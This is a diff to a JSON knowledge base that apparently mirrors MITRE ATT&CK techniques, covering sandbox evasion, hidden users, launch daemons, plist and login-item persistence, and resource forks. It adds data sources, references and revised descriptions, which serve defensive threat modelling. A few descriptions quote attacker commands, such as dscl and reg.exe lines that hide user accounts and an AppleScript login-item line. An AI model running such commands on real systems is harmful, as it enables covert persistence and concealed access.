+ "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
"meta": {
"external_id": "T1497.001",
"kill_chain": [
@@ -17117,6 +17632,7 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1497/001",
+ "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
"https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/",
"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
]
@@ -17171,6 +17687,7 @@
"mitre-attack:initial-access"
],
"mitre_data_sources": [
+ "File: File Creation",
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
@@ -17567,23 +18084,29 @@
"value": "Private Keys - T1552.004"
},
{
- "description": "Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.\n\nThere is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).",
+ "description": "Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\n\nIn macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\n\nIn Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)",
"meta": {
"external_id": "T1564.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
+ "Command: Command Execution",
+ "Windows Registry: Windows Registry Key Modification",
+ "Process: Process Creation",
"User Account: User Account Creation",
"User Account: User Account Metadata",
"File: File Modification"
],
"mitre_platforms": [
- "macOS"
+ "macOS",
+ "Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1564/002",
- "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
+ "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
+ "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html",
+ "https://www.us-cert.gov/ncas/alerts/TA18-074A"
]
},
"related": [
@@ -17634,6 +18157,10 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Domain Name: Active DNS",
+ "Domain Name: Passive DNS"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -17661,12 +18188,16 @@
"kill_chain": [
"mitre-attack:reconnaissance"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592/004",
- "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
@@ -17959,7 +18490,7 @@
"value": "Email Accounts - T1586.002"
},
{
- "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",
+ "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",
"meta": {
"external_id": "T1569.002",
"kill_chain": [
@@ -18087,7 +18618,7 @@
"value": "Windows Service - T1543.003"
},
{
- "description": "Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). \n\nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. \n\nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. ",
+ "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
"meta": {
"external_id": "CAPEC-551",
"kill_chain": [
@@ -18111,8 +18642,11 @@
"https://capec.mitre.org/data/definitions/551.html",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
+ "https://www.real-world-systems.com/docs/launchdPlist.1.html",
+ "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
+ "https://bradleyjkemp.dev/post/launchdaemon-hijacking/",
+ "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
]
},
"related": [
@@ -18229,11 +18763,15 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
- "https://attack.mitre.org/techniques/T1583/006"
+ "https://attack.mitre.org/techniques/T1583/006",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
@@ -18271,12 +18809,15 @@
"value": "Digital Certificates - T1596.003"
},
{
- "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
+ "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
"meta": {
"external_id": "T1587.003",
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -18431,7 +18972,7 @@
],
"mitre_data_sources": [
"Script: Script Execution",
- "File: File Content"
+ "File: File Metadata"
],
"mitre_platforms": [
"Linux",
@@ -18500,12 +19041,16 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/006",
- "https://www.recordedfuture.com/turla-apt-infrastructure/"
+ "https://www.recordedfuture.com/turla-apt-infrastructure/",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
@@ -18550,6 +19095,40 @@
"uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
"value": "AppCert DLLs - T1546.009"
},
+ {
+ "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",
+ "meta": {
+ "external_id": "T1564.009",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "File: File Creation",
+ "Process: Process Creation",
+ "File: File Metadata",
+ "Command: Command Execution"
+ ],
+ "mitre_platforms": [
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1564/009",
+ "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553",
+ "https://flylib.com/books/en/4.395.1.192/1/",
+ "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/",
+ "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/",
+ "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "b22e5153-ac28-4cc6-865c-2054e36285cb",
+ "value": "Resource Forking - T1564.009"
+ },
{
"description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",
"meta": {
@@ -18616,12 +19195,16 @@
"value": "Shortcut Modification - T1547.009"
},
{
- "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
+ "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
"meta": {
"external_id": "T1588.004",
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Certificate: Certificate Registration",
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -18737,7 +19320,7 @@
"value": "Application Shimming - T1546.011"
},
{
- "description": "Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \n\nAdversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to \"hide\" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)",
+ "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)",
"meta": {
"external_id": "T1547.011",
"kill_chain": [
@@ -18745,7 +19328,8 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
- "File: File Creation",
+ "Service: Service Creation",
+ "Command: Command Execution",
"File: File Modification",
"Process: Process Creation"
],
@@ -18754,10 +19338,8 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1547/011",
- "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
- "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
+ "https://fileinfo.com/extension/plist",
+ "https://taomm.org/vol1/pdfs.html"
]
},
"related": [
@@ -18873,6 +19455,50 @@
"uuid": "22522668-ddf6-470b-a027-9d6866679f67",
"value": "Active Setup - T1547.014"
},
+ {
+ "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
+ "meta": {
+ "external_id": "T1547.015",
+ "kill_chain": [
+ "mitre-attack:persistence",
+ "mitre-attack:privilege-escalation"
+ ],
+ "mitre_data_sources": [
+ "Process: Process Creation",
+ "File: File Modification",
+ "File: File Creation"
+ ],
+ "mitre_platforms": [
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1547/015",
+ "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac",
+ "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
+ "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/",
+ "https://developer.apple.com/documentation/coreservices/launch_services",
+ "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/",
+ "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788",
+ "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/",
+ "http://www.hexed.in/2019/07/osxdok-analysis.html",
+ "https://gist.github.com/kaloprominat/6111584",
+ "https://objective-see.com/blog/blog_0x25.html",
+ "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/",
+ "https://objective-see.com/blog/blog_0x44.html",
+ "https://objective-see.com/blog/blog_0x31.html",
+ "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
+ "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
+ "value": "Login Items - T1547.015"
+ },
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270).\n\nPersonnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)",
"meta": {
@@ -18996,7 +19622,7 @@
"value": "System Shutdown/Reboot - T1529"
},
{
- "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
+ "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
"meta": {
"external_id": "T1497",
"kill_chain": [
@@ -19015,6 +19641,7 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1497",
+ "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
"https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
]
},
@@ -19096,7 +19723,7 @@
"value": "Automated Exfiltration - T1020"
},
{
- "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.",
+ "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.",
"meta": {
"external_id": "CAPEC-440",
"kill_chain": [
@@ -19263,13 +19890,14 @@
"value": "Binary Padding - T1009"
},
{
- "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.",
